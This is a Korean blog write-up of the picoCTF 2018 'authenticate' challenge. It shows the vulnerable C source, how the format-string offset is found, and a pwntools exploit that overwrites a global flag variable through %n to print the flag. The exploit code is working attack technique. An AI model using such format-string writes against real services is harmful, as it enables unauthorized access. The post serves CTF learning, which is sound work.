제리의 블로그

picoCTF 2018 authenticate Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 authenticate Binary Exploitation

j3rrry 2018. 10. 13. 12:57

authenticate - Points: 350 - (Solves: 462)

요약

본 Writeup 은 Format String Bug (FSB) 를 다룹니다.

Description 을 보면
바이너리와 소스코드를 제공합니다.

취약점은 소스코드에서 55번째 줄에서
FSB 취약점이 있고
플래그는 23번째 줄의 read_flag() 함수에서 출력해주고 있다.

플래그를 보기 위해서는
0(거짓)으로 초기화되어있는 전역변수 authenticated 를
1(참)로 변조해야만 합니다.



Description

Can you authenticate to this service and get the flag?
Connect with nc 2018shell2.picoctf.com 52918.
Source.



Source

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

int authenticated = 0;

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag();
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);

  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }

  read_flag();

}
55번째 줄에서 FSB 취약점이 있다.
23번째 줄에 read_flag() 를 통해서 플래그를 출력하는데
조건이 있다.



전역변수 authenticated 를 참 값으로 변조해야 한다.
전역변수의 주소는 고정값이다.

>>> hex(elf.sym.authenticated)
'0x804a04c'



FSB 공격 방법은
1. 몇번째 인자(오프셋)인지 파악
2. 스택에 목표 주소(target)를 삽입
3. 해당 오프셋을 인자로 형식지정자 %n 으로 출력한다.


오프셋 구하기

$ ./auth
Would you like to read the flag? (yes/no)
AAAA%11$p
Received Unknown Input:

AAAA0x41414141
Sorry, you are not *authenticated*!
지역변수 buf 은
11번째 오프셋에 있었다.



익스 코드

from pwn import *

e = ELF('./auth')

def exec_fmt(payload, local=True):
    r = e.process() if local else remote('2018shell2.picoctf.com', 52918)
    r.recvuntil("Would you like to read the flag? (yes/no)\n")
    r.sendline(payload)
    r.recvuntil('Received Unknown Input:\n\n')
    return r.recvall()

offset = FmtStr(exec_fmt).offset # 11
payload = fmtstr_payload(offset, {e.sym.authenticated:4}, write_size='int')
print exec_fmt(payload, False)



플래그

$ python exploit.py
L\xa0\x0
Access Granted.
picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_d29a706d}


Comments